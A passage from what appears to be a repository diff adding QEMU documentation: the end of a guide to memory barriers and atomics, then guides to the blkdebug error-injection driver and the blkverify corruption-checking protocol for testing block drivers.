b = 2; x = b;
smp_rmb();
y = a;
Note that the "writing" thread are accessing the variables in the
opposite order as the "reading" thread. This is expected: stores
before the write barrier will normally match the loads after the
read barrier, and vice versa. The same is true for more than 2
access and for data dependency barriers:
thread 1 thread 2
=============== ===============
b[2] = 1;
smp_wmb();
x->i = 2;
smp_wmb();
a = x; x = a;
smp_read_barrier_depends();
y = x->i;
smp_read_barrier_depends();
z = b[y];
smp_wmb() also pairs with atomic_mb_read(), and smp_rmb() also pairs
with atomic_mb_set().
COMPARISON WITH LINUX KERNEL MEMORY BARRIERS
============================================
Here is a list of differences between Linux kernel atomic operations
and memory barriers, and the equivalents in QEMU:
- atomic operations in Linux are always on a 32-bit int type and
use a boxed atomic_t type; atomic operations in QEMU are polymorphic
and use normal C types.
- atomic_read and atomic_set in Linux give no guarantee at all;
atomic_read and atomic_set in QEMU include a compiler barrier
(similar to the ACCESS_ONCE macro in Linux).
- most atomic read-modify-write operations in Linux return void;
in QEMU, all of them return the old value of the variable.
- different atomic read-modify-write operations in Linux imply
a different set of memory barriers; in QEMU, all of them enforce
sequential consistency, which means they imply full memory barriers
before and after the operation.
- Linux does not have an equivalent of atomic_mb_read() and
atomic_mb_set(). In particular, note that set_mb() is a little
weaker than atomic_mb_set().
SOURCES
=======
* Documentation/memory-barriers.txt from the Linux kernel
* "The JSR-133 Cookbook for Compiler Writers", available at
http://g.oswego.edu/dl/jmm/cookbook.html

161
qemu/docs/blkdebug.txt Normal file
View file

@ -0,0 +1,161 @@
Block I/O error injection using blkdebug
----------------------------------------
Copyright (C) 2014 Red Hat Inc
This work is licensed under the terms of the GNU GPL, version 2 or later. See
the COPYING file in the top-level directory.
The blkdebug block driver is a rule-based error injection engine. It can be
used to exercise error code paths in block drivers including ENOSPC (out of
space) and EIO.
This document gives an overview of the features available in blkdebug.
Background
----------
Block drivers have many error code paths that handle I/O errors. Image formats
are especially complex since metadata I/O errors during cluster allocation or
while updating tables happen halfway through request processing and require
discipline to keep image files consistent.
Error injection allows test cases to trigger I/O errors at specific points.
This way, all error paths can be tested to make sure they are correct.
Rules
-----
The blkdebug block driver takes a list of "rules" that tell the error injection
engine when to fail an I/O request.
Each I/O request is evaluated against the rules. If a rule matches the request
then its "action" is executed.
Rules can be placed in a configuration file; the configuration file
follows the same .ini-like format used by QEMU's -readconfig option, and
each section of the file represents a rule.
The following configuration file defines a single rule:
$ cat blkdebug.conf
[inject-error]
event = "read_aio"
errno = "28"
This rule fails all aio read requests with ENOSPC (28). Note that the errno
value depends on the host. On Linux, see
/usr/include/asm-generic/errno-base.h for errno values.
Invoke QEMU as follows:
$ qemu-system-x86_64
-drive if=none,cache=none,file=blkdebug:blkdebug.conf:test.img,id=drive0 \
-device virtio-blk-pci,drive=drive0,id=virtio-blk-pci0
Rules support the following attributes:
event - which type of operation to match (e.g. read_aio, write_aio,
flush_to_os, flush_to_disk). See the "Events" section for
information on events.
state - (optional) the engine must be in this state number in order for this
rule to match. See the "State transitions" section for information
on states.
errno - the numeric errno value to return when a request matches this rule.
The errno values depend on the host since the numeric values are not
standarized in the POSIX specification.
sector - (optional) a sector number that the request must overlap in order to
match this rule
once - (optional, default "off") only execute this action on the first
matching request
immediately - (optional, default "off") return a NULL BlockAIOCB
pointer and fail without an errno instead. This
exercises the code path where BlockAIOCB fails and the
caller's BlockCompletionFunc is not invoked.
Events
------
Block drivers provide information about the type of I/O request they are about
to make so rules can match specific types of requests. For example, the qcow2
block driver tells blkdebug when it accesses the L1 table so rules can match
only L1 table accesses and not other metadata or guest data requests.
The core events are:
read_aio - guest data read
write_aio - guest data write
flush_to_os - write out unwritten block driver state (e.g. cached metadata)
flush_to_disk - flush the host block device's disk cache
See block/blkdebug.c:event_names[] for the full list of events. You may need
to grep block driver source code to understand the meaning of specific events.
State transitions
-----------------
There are cases where more power is needed to match a particular I/O request in
a longer sequence of requests. For example:
write_aio
flush_to_disk
write_aio
How do we match the 2nd write_aio but not the first? This is where state
transitions come in.
The error injection engine has an integer called the "state" that always starts
initialized to 1. The state integer is internal to blkdebug and cannot be
observed from outside but rules can interact with it for powerful matching
behavior.
Rules can be conditional on the current state and they can transition to a new
state.
When a rule's "state" attribute is non-zero then the current state must equal
the attribute in order for the rule to match.
For example, to match the 2nd write_aio:
[set-state]
event = "write_aio"
state = "1"
new_state = "2"
[inject-error]
event = "write_aio"
state = "2"
errno = "5"
The first write_aio request matches the set-state rule and transitions from
state 1 to state 2. Once state 2 has been entered, the set-state rule no
longer matches since it requires state 1. But the inject-error rule now
matches the next write_aio request and injects EIO (5).
State transition rules support the following attributes:
event - which type of operation to match (e.g. read_aio, write_aio,
flush_to_os, flush_to_disk). See the "Events" section for
information on events.
state - (optional) the engine must be in this state number in order for this
rule to match
new_state - transition to this state number
Suspend and resume
------------------
Exercising code paths in block drivers may require specific ordering amongst
concurrent requests. The "breakpoint" feature allows requests to be halted on
a blkdebug event and resumed later. This makes it possible to achieve
deterministic ordering when multiple requests are in flight.
Breakpoints on blkdebug events are associated with a user-defined "tag" string.
This tag serves as an identifier by which the request can be resumed at a later
point.
See the qemu-io(1) break, resume, remove_break, and wait_break commands for
details.

69
qemu/docs/blkverify.txt Normal file
View file

@ -0,0 +1,69 @@
= Block driver correctness testing with blkverify =
== Introduction ==
This document describes how to use the blkverify protocol to test that a block
driver is operating correctly.
It is difficult to test and debug block drivers against real guests. Often
processes inside the guest will crash because corrupt sectors were read as part
of the executable. Other times obscure errors are raised by a program inside
the guest. These issues are extremely hard to trace back to bugs in the block
driver.
Blkverify solves this problem by catching data corruption inside QEMU the first
time bad data is read and reporting the disk sector that is corrupted.
== How it works ==
The blkverify protocol has two child block devices, the "test" device and the
"raw" device. Read/write operations are mirrored to both devices so their
state should always be in sync.
The "raw" device is a raw image, a flat file, that has identical starting
contents to the "test" image. The idea is that the "raw" device will handle
read/write operations correctly and not corrupt data. It can be used as a
reference for comparison against the "test" device.
After a mirrored read operation completes, blkverify will compare the data and
raise an error if it is not identical. This makes it possible to catch the
first instance where corrupt data is read.
== Example ==
Imagine raw.img has 0xcd repeated throughout its first sector:
$ ./qemu-io -c 'read -v 0 512' raw.img
00000000: cd cd cd cd cd cd cd cd cd cd cd cd cd cd cd cd ................
00000010: cd cd cd cd cd cd cd cd cd cd cd cd cd cd cd cd ................
[...]
000001e0: cd cd cd cd cd cd cd cd cd cd cd cd cd cd cd cd ................
000001f0: cd cd cd cd cd cd cd cd cd cd cd cd cd cd cd cd ................
read 512/512 bytes at offset 0
512.000000 bytes, 1 ops; 0.0000 sec (97.656 MiB/sec and 200000.0000 ops/sec)
And test.img is corrupt, its first sector is zeroed when it shouldn't be:
$ ./qemu-io -c 'read -v 0 512' test.img
00000000: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
00000010: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
[...]
000001e0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
000001f0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
read 512/512 bytes at offset 0
512.000000 bytes, 1 ops; 0.0000 sec (81.380 MiB/sec and 166666.6667 ops/sec)
This error is caught by blkverify:
$ ./qemu-io -c 'read 0 512' blkverify:a.img:b.img
blkverify: read sector_num=0 nb_sectors=4 contents mismatch in sector 0
A more realistic scenario is verifying the installation of a guest OS:
$ ./qemu-img create raw.img 16G
$ ./qemu-img create -f qcow2 test.qcow2 16G
$ x86_64-softmmu/qemu-system-x86_64 -cdrom debian.iso \
-drive file=blkverify:raw.img:test.qcow2
If the installation is aborted when blkverify detects corruption, use qemu-io
to explore the contents of the disk image at the sector in question.

Some files were not shown because too many files have changed in this diff Show more